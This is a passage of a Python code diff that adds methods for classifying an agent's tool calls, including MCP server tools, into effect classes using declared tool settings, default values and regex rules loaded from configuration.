+ server, tool = parts[1], parts[2]
148
+ if server:
149
+ declared = (
150
+ ((self._mcp.get("servers") or {}).get(server) or {}).get("tools") or {}
151
+ ).get(tool)
152
+ if declared:
153
+ return EffectClass(declared)
154
+ return EffectClass(self._mcp.get("default", self._default.value))
155
+ return self._default
156
+
157
+ def _rules_for(self, name: str, rules: list) -> list[tuple[re.Pattern, EffectClass, str | None]]:
158
+ if name not in self._compiled:
159
+ self._compiled[name] = [
160
+ (re.compile(r["match"]), EffectClass(r["class"]), r.get("probe"))
161
+ for r in rules
162
+ ]
163
+ return self._compiled[name]
164
+
165
+ @staticmethod
166
+ def _arg_text(call: ToolCall, entry: dict) -> str:
167
+ key = entry.get("arg_key")
168
+ if key and key in call.args:
169
+ return str(call.args[key])
170
+ return " ".join(str(v) for v in call.args.values())